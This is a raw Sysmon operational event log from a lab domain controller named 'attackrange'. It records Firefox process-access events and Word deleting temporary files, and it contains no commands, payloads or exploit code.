10341000x800000000000000051116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.823{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000051115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.818{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7BBD.tmpMD5=4EFA48EC307EAF2F9B346A073C67FCFB,SHA256=3EE9AE1F8DAB4C498BD561D8FCC66D83E58F11B7BB4B2776DF99F4CDA4B850C2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.808{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7C03.tmpMD5=B9A6FF715719EE9DE16421AB983CA745,SHA256=E3BE3F1E341C0FA5E9CB79E2739CF0565C6EA6C189EA3E53ACF04320459A7070,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.808{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000051112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.808{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CF8.tmp\content.infMD5=BD6B5A98CA4E6C5DBA57C5AD167EDD00,SHA256=F22248FE60A55B6C7C1EB31908FAB7726813090DE887316791605714E6E3CEF7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.807{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.807{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.807{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.807{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.806{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.806{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000051105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.805{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CF5.tmp\content.infMD5=7956D2B60E2A254A07D46BCA07D0EFF0,SHA256=C92B7FD46B4553FF2A656FF5102616479F3B503341ED7A349ECCA2E12455969E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.805{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7BCE.tmpMD5=7BF88B3CA20EB71ED453A3361908E010,SHA256=E555A610A61DB4F45A29A7FB196A9726C25772594252AD534453E69F05345283,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.805{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CF1.tmp\content.infMD5=5728F26DF04D174DE9BDFF51D0668E2A,SHA256=979DAFD61C23C185830AA3D771EDDC897BEE87587251B84F61776E720ACF9840,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.805{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7BB9.tmpMD5=486CBCB223B873132FFAF4B8AD0AD044,SHA256=B217393FD2F95A11E2C594E736067870212E3C5242A212D6F9539450E8684616,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.805{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7BCF.tmpMD5=E532038762503FFA1371DF03FA2E222D,SHA256=5C70DD1551EB8B9B13EFAFEEAF70F08B307E110CAEE75AD9908A6A42BBCCB07E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.805{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000051099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.805{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7BBA.tmpMD5=F913DD84915753042D856CEC4E5DABA5,SHA256=AA03AFB681A76C86C1BD8902EE2BBA31A644841CE6BCB913C8B5032713265578,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.805{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B2E.tmpMD5=6D787B1E223DB6B91B69238062CCA872,SHA256=DA2F261C3C82E229A097A9302C8580F014BB6442825DB47C008DA097CFCE0EE4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.805{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B53.tmpMD5=1D6F8E73A0662A48D332090A4C8C898F,SHA256=8077C92C66D15D7E03FBFF3A48BD9576B80F698A36A44316EABA81EE8043B673,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.805{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B64.tmpMD5=69EDB3BF81C99FE8A94BBA03408C5AE1,SHA256=CEBE759BC4509700E3D23C6A5DF8D889132A60EBC92260A74947EAA1089E2789,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.805{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CF7.tmp\content.infMD5=35AFE8D8724F3E19EB08274906926A0B,SHA256=97B8B2E246E4DAB15E494D2FB5F8BE3E6361A76C8B406C77902CE4DFF7AC1A35,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.805{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7BCD.tmpMD5=EE0129C7CC1AC92BBC3D6CB0F653FCAE,SHA256=345AA5CA2496F975B7E33C182D5E57377F8B740F23E9A55F4B2B446723947B72,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.804{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B65.tmpMD5=7C645EC505982FE529D0E5035B378FFC,SHA256=298FD9DADF0ACEBB2AA058A09EEBFAE15E5D1C5A8982DEE6669C63FB6119A13D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.801{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B3E.tmpMD5=51804E255C573176039F4D5B55C12AB2,SHA256=3C6F66790C543D4E9D8E0E6F476B1ACADF0A5FCDD561B8484D8DDDADFDF8134B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.801{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7ADA.tmpMD5=205AF51604EF96EF1E8E60212541F742,SHA256=DF3FFF163924D08517B41455F2D06788BA4E49C68337D15ECF329BE48CF7DA2D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.800{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B66.tmpMD5=91AADBEC4171CFA8292B618492F5EF34,SHA256=7E1A90CDB2BA7F03ABCB4687F0931858BF57E13552E0E4E54EC69A27325011EA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.800{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7ADC.tmpMD5=53EE9DA49D0B84357038ECF376838D2E,SHA256=9E46B8BA0BAD6E534AF33015C86396C33C5088D3AE5389217A5E90BA68252374,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.800{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B67.tmpMD5=66C5199CF4FB18BD4F9F3F2CCB074007,SHA256=4A7DC4ED098E580C8D623C51B57C0BC1D601C45F40B60F39BBA5F063377C3C1F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.800{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7AED.tmpMD5=ABBF10CEE9480E41D81277E9538F98CB,SHA256=557E0714D5536070131E7E7CDD18F0EF23FE6FB12381040812D022EC0FEE7957,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.800{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B69.tmpMD5=D30AD26DBB6DECA4FDD294F48EDAD55D,SHA256=6B1633DD765A11E7ED26F8F9A4DD45023B3E4ADB903C934DF3917D07A3856BFF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.800{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CDC.tmp\content.infMD5=76340C3F8A0BFCEDAB48B08C57D9B559,SHA256=78FE546321EDB34EBFA1C06F2B6ADE375F3B7C12552AB2A04892A26E121B3ECC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.798{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CF0.tmp\content.infMD5=23D59577F4AE6C6D1527A1B8CDB9AB19,SHA256=9ADD2C3912E01C2AC7FAD6737901E4EECBCCE6EC60F8E4D78585469A440E1E2C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.798{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CF6.tmp\Content.infMD5=0F98498818DC28E82597356E2650773C,SHA256=4587CA0B2A60728FF0A5B8E87D35BF6C6FDF396747E13436EC856612AC1C6288,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.798{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CEE.tmp\content.infMD5=133D126F0DE2CC4B29ECE38194983265,SHA256=08485EBF168364D846C6FD55CD9089FE2090D1EE9D1A27C1812E1247B9005E68,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.797{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B41.tmpMD5=C455C4BC4BEC9E0DA67C4D1E53E46D5A,SHA256=40E9AF9284FF07FDB75C33A11A794F5333712BAA4A6CF82FA529FBAF5AD0FED0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.796{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B6A.tmpMD5=D3C9036E4E1159E832B1B4D2E9D42BF0,SHA256=434576EB1A16C2D14D666A33EDDE76717C896D79F45DF56742AFD90ACB9F21CE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.796{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CDA.tmp\Content.infMD5=A0D51783BFEE86F3AC46A810404B6796,SHA256=47B43E7DBDF8B25565D874E4E071547666B08D7DF4D736EA8521591D0DED640F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.796{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B52.tmpMD5=92A819D434A8AAEA2C65F0CC2F33BB3A,SHA256=5D13F9907AC381D19F0A7552FD6D9FC07C9BD42C0F9CE017FFF75587E1890375,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.795{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7ADB.tmpMD5=DA3380458170E60CBEA72602FDD0D955,SHA256=6F8FFB225F3B8C7ADE31A17A02F941FC534E4F7B5EE678B21CD9060282034701,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.795{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CED.tmp\Content.infMD5=6F8FE7B05855C203F6DEC5C31885DD08,SHA256=B7F58DF058C938CCF39054B31472DC76E18A3764B78B414088A261E440870175,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.793{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CDB.tmp\Content.infMD5=2240CF2315F2EB448CEA6E9CE21B5AC5,SHA256=0F7D0BD5A8CED523CFF4F99D7854C0EE007F5793FA9E1BA1CD933B0894BFBD0D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.793{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B3F.tmpMD5=C47E3430AF813DF8B02E1CB4829DD94B,SHA256=F2DB1E60533F0D108D5FB1004904C1F2E8557D4493F3B251A1B3055F8F1507A3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.789{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CCF.tmp\content.infMD5=487E25E610F3FC2EEA27AB54324EA8F6,SHA256=022EC5077279A8E447B590F7260E1DBFF764DE5F9CDFD4FDEE32C94C66D4A1A2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.789{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7AEC.tmpMD5=E3C64173B2F4AA7AB72E1396A9514BD8,SHA256=16C08547239E5B969041AB201EB55A3E30EAD400433E926257331CB945DFF094,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.788{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CCC.tmp\Content.infMD5=D04EC08EFE18D1611BDB9A5EC0CC00B1,SHA256=FA60500F951AFAF8FFDB6D1828456D60004AE1558E8E1364ADC6ECB59F5450C9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.786{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CD6.tmp\Content.infMD5=16711B951E1130126E240A6E4CC2E382,SHA256=855342FE16234F72DA0C2765455B69CF412948CFBE70DE5F6D75A20ACDE29AE9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.785{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program 